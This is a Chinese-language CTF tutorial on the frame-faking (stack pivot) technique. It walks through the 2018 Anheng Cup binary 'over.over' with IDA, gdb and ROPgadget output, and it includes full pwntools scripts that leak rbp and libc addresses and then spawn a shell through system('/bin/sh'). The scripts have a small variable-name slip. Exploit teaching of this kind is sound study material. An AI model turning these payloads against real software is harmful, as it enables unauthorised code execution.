frame faking
构造一个虚假的栈帧来控制程序的执行流
原理
之前所讲的栈溢出不外乎两种方式:
- 控制程序EIP
- 控制程序EBP
其最终都是控制程序的执行流。在frame faking中,我们所利用的技巧辨是同时控制EBP和EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。
函数的入口点和出口点
入口点
push ebp #将ebp压栈
mov ebp, esp #将esp的值赋给ebp
出口点
leave
ret # pop eip 弹出栈顶元素作为程序的下一个执行地址
其中leave指令相当于
mov esp,ebp #将ebp的值赋给esp
pop ebp #弹出栈顶元素作为ebp的值
所以函数的出口点的两条指令相当于
mov esp,ebp
pop ebp
pop eip
利用条件
- 溢出字节较少,难以构造较长的rop链
- 存在一块可写的内存,且知道其地址
payload设置
此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?
- 使用ROPgadget查找leave;ret指令所在的地址
- 覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。
假设程序为32位程序,64位同理
- 当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)如下图所示:
- mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
- pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上行
- 执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上行
- 执行eip寄存器中的指令,leave指令;
- mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址
- pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行
- 执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。
下面以一道例题来说明用法
2018安恒杯月赛下载地址
checksec + IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/stack/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 64位程序
- 只开启了nx保护
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar('>');
read(0, &buf, 0x60uLL);
return puts(&buf);
}
通过IDA分析可以得出:
- 只能溢出0x10字节,也就是16个字符,也就是只能覆盖两个地址,无法构造较长的rop链
- 但read函数并不会给输入字符串末尾补\0,所以当我们输入0x50个字符时,可以将rbp的值打印出来。
leak rbp的值
- 在这个题中我们可以直接控制sub_400676函数中的buf所在的内存地址。
- 所以rbp我们需要覆盖为buf所在的首地址
- 他们在内存中的具体的值我们看不出来,但他们之间的偏移关系是确定的。
- 我们可以通过leak rbp,再动态调试一下,得出具体的偏移关系
gdb over.over
b *0x4006B9
// 0x4006B9地址为sub_400676函数中call puts函数的地址,如上图所示
r
123123//输入内容
telescope $rsp 20 //查看从rsp开始的20个地址
- 我们leak出来的rbp的值为红色的长方形中的蓝色框中的值,为0x00007fffffffdd50
- 而rsp所指向的地址为0x00007fffffffdce0
- 0x00007fffffffdce0与0x00007fffffffdd50两个地址之间的偏移相差0x70,蓝色椭圆框所示
查找leave;ret的地址:
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/stack# ROPgadget --binary over.over --only "leave|ret"
Gadgets information
============================================================
0x00000000004006be : leave ; ret
0x0000000000400509 : ret
0x00000000004007d0 : ret 0xfffe
Unique gadgets found: 3
- 所以rbp设置为原来的rbp-0x70,ret设置为0x00000000004006be
- 同时我们还需要在buf的一开始没有溢出的地方调用puts函数,以判断版本
- 在调用puts函数时,需要设置rdi寄存器,这里使用通用gadgets:csu_init,如读者不熟悉,请先阅读这篇文章
代码如下:
from pwn import *
context.log_level = "DEBUG"
sh = process("over.over")
payload = 'a' * 80
sh.recvuntil('>')
sh.send(payload)
rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')
print hex(ebp_addr)
pop_rdi = 0x400793
puts_got = 0x601020
puts_plt = 0x400530
ret_addr = 0x400676
leave_ret = 0x4006be
payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)
sh.send(payload)
sh.recvline()
real_addr = u64(sh.recvline()[:-1] + '\x00\x00')
print hex(real_addr)
此时的栈结构
- 此时执行leave;ret指令,rsp指向rbp的位置处
- 按照上文原理中所叙述的,经过两次leave;ret
- rsp指向pop rdi;ret的gadget处
根据泄露出来的puts地址判断libc版本
libc database:url
完成最后一步:获取shell
代码如下:
from pwn import *
context.log_level = "DEBUG"
sh = process("over.over")
payload = 'a' * 80
sh.recvuntil('>')
sh.send(payload)
rbp_addr = u64(sh.recv()[80:-2] + '\x00\x00')
print hex(ebp_addr)
pop_rdi = 0x400793
puts_got = 0x601020
puts_plt = 0x400530
ret_addr = 0x400676
leave_ret = 0x4006be
payload = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70) + p64(leave_ret)
sh.send(payload)
sh.recvline()
real_addr = u64(sh.recvline()[:-1] + '\x00\x00')
print hex(real_addr)
base_addr = real_addr - 0x06f690
system_addr = base_addr + 0x045390
binsh_addr = base_addr + 0x18cd57
payload = 'a'*8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(ret_addr) + p64(1)*5 + p64(rbp_addr-0x70-0x30) + p64(leave_ret)
sh.send(payload)
sh.interactive()
注意一点,最后的rbp_addr-0x70-0x30的由来:
- 不是只需要减0x70就可以吗,怎么又减了0x30
- 因为第一次泄露完puts的地址后,rsp是指向p64(1)*5的第一个1处
- 返回地址为sub_400676的函数地址
- 该函数的开头部分进行了压栈操作,压入了一个rbp,此时的栈结构是这样的:
- 红字部分为6个8字节,48字节,换算为十六进制为0x30
- 所以rbp的值需要再减去一个0x30才能到aaaaaaaa字符串的地址处